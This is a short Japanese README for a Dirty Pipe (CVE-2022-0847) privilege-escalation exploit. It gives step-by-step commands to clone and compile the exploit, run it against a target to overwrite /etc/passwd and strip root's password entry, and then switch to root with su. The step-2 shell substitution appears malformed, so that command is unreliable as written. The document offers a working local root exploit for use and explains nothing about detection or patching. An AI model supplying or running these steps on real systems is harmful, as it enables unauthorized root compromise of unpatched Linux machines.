Dirty Pipe - CVE-2022-0847

これは、Max Kellermann の CVE-2022-0847 (Dirty Pipe として知られる) のエクスプロイトを使用するためのコードと手順です。

エクスプロイトの動作について詳しくは、https://dirtypipe.cm4all.com/ をご覧ください。

使用方法

1. エクスプロイトバイナリをダウンロードしてコンパイルする

git clone https://github.com/0xIronGoat/dirty-pipe.git
cd dirty-pipe
gcc exploit.c -o exploit

2. ターゲット上でバイナリを実行する

./exploit /etc/passwd 1 "${$(cat /etc/passwd)/root:x/oot:}"

3. root に切り替える

su